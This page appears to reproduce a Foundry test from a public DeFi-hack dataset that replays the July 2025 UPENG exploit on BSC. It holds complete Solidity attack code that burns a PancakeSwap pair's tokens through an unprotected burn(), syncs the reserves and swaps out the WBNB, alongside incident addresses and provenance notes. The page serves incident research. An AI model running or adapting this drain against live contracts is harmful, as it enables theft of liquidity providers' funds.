Public reproduction file
src/test/2025-07/UPENGBurnSync_exp.sol
Public reproduction file for dataset entry UPENG.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 1.5 WBNB8// Attacker : 0x37023A0c3440106Cf50Dc8498Dcd64fdBb1e837A9// Attack Contract : 0x91b74e8E38290d7B1e0C48F72f4C54312b7F148e10// Vulnerable Contract : 0x4303cdDBeF06B5820F10DbC00206f8Bde6749E2F11// Vulnerable Pair : 0xB29b0E7545E7252e8db380C5C010Cb1ef6990cac12// Attack Tx : https://bscscan.com/tx/0x33de1ed2d33f79e9b6dfccff8d4536ecda126f4eff18c295f16e9169b4ea5df113//14// @Info15// Token source is not verified on BscScan.16//17// @Analysis18// Twitter Guy : https://t.me/defimon_alerts/147019//20// Attack summary: The attacker bought UPENG with 0.001 BNB, burned almost the entire UPENG21// balance held by the Pancake UPENG/WBNB pair via an unprotected burn(address,uint256),22// synced the pair down to one wei of UPENG, then sold the bought UPENG against the distorted23// reserves to drain the pair's 1.5 WBNB reserve.24// Root cause: UPENG exposes an arbitrary-address burn function that lets any caller destroy25// the pair's token balance, and the permissionless PancakePair.sync() commits that manipulated26// token balance as reserves before the final swap.28address constant ATTACKER = 0x37023A0c3440106cf50Dc8498DCd64fDBB1E837A;29address constant TRACE_ATTACK_CONTRACT = 0x91B74e8e38290D7B1e0C48F72f4c54312B7F148E;30address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;31address constant UPENG_TOKEN = 0x4303cdDbeF06B5820F10dbC00206F8BDE6749e2f;32address constant UPENG_WBNB_PAIR = 0xB29B0E7545e7252E8Db380C5C010Cb1eF6990CAc;33address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;34uint256 constant SEED_BNB = 0.001 ether;36interface IUPENGBurn {37 function burn(address account, uint256 amount) external;38}40interface ISyncSwapPair is IUniswapV2Pair {41 function sync() external;42}44contract ContractTest is BaseTestWithBalanceLog {45 address private profitReceiver;47 function setUp() public {48 vm.createSelectFork("bsc", 53_877_710);50 profitReceiver = makeAddr("profitReceiver");51 fundingToken = WBNB_TOKEN;52 attacker = profitReceiver;54 vm.label(ATTACKER, "Attacker EOA");55 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");56 vm.label(PANCAKE_ROUTER, "Pancake Router");57 vm.label(UPENG_TOKEN, "UPENG");58 vm.label(UPENG_WBNB_PAIR, "UPENG/WBNB Pair");59 vm.label(WBNB_TOKEN, "WBNB");60 }62 function testExploit() public balanceLog {63 _assertPairLayout();65 vm.deal(address(this), SEED_BNB);66 uint256 wbnbBefore = IERC20(WBNB_TOKEN).balanceOf(profitReceiver);68 UPENGBurnSyncAttack attack = new UPENGBurnSyncAttack(profitReceiver);69 attack.execute{value: SEED_BNB}();71 uint256 profit = IERC20(WBNB_TOKEN).balanceOf(profitReceiver) - wbnbBefore;72 assertGt(profit, 1.49 ether);73 assertLt(profit, 1.51 ether);74 }76 function _assertPairLayout() private {77 assertEq(ISyncSwapPair(UPENG_WBNB_PAIR).token0(), UPENG_TOKEN);78 assertEq(ISyncSwapPair(UPENG_WBNB_PAIR).token1(), WBNB_TOKEN);79 }80}82contract UPENGBurnSyncAttack {83 address private immutable profitReceiver;85 constructor(86 address _profitReceiver87 ) {88 profitReceiver = _profitReceiver;89 }91 receive() external payable {}93 function execute() external payable {94 require(msg.value == SEED_BNB, "unexpected seed");96 address[] memory path = new address[](2);97 path[0] = WBNB_TOKEN;98 path[1] = UPENG_TOKEN;99 Uni_Router_V2(PANCAKE_ROUTER).swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}(100 0, path, address(this), block.timestamp101 );103 uint256 pairUpengBalance = IERC20(UPENG_TOKEN).balanceOf(UPENG_WBNB_PAIR);104 IUPENGBurn(UPENG_TOKEN).burn(UPENG_WBNB_PAIR, pairUpengBalance - 1);105 ISyncSwapPair(UPENG_WBNB_PAIR).sync();107 uint256 upengToSell = IERC20(UPENG_TOKEN).balanceOf(address(this));108 require(IERC20(UPENG_TOKEN).transfer(UPENG_WBNB_PAIR, upengToSell), "UPENG transfer failed");110 (uint112 reserve0, uint112 reserve1,) = ISyncSwapPair(UPENG_WBNB_PAIR).getReserves();111 uint256 wbnbOut = Uni_Router_V2(PANCAKE_ROUTER).getAmountOut(upengToSell, reserve0, reserve1);112 ISyncSwapPair(UPENG_WBNB_PAIR).swap(0, wbnbOut, profitReceiver, "");113 }114}Analysis
Dataset entry
Public Foundry test for “UPENG” (2025-07-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x37023a0c3440106cf50dc8498dcd64fdbb1e837a
- Attack Contract
0x91b74e8e38290d7b1e0c48f72f4c54312b7f148e
- Vulnerable Contract
0x4303cddbef06b5820f10dbc00206f8bde6749e2f
- Attack Tx
0x33de1ed2d33f79e9b6dfccff8d4536ecda126f4eff18c295f16e9169b4ea5df1
File record
- Name
- UPENG
- Path
- src/test/2025-07/UPENGBurnSync_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a97214ddac1af64b11406edb6b0b8cde11f140fc
- Language
- Solidity
- Size
- 115 lines
- Date
- 2025-07-13
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/UPENGBurnSync_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a97214ddac1af64b11406edb6b0b8cde11f140fc, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.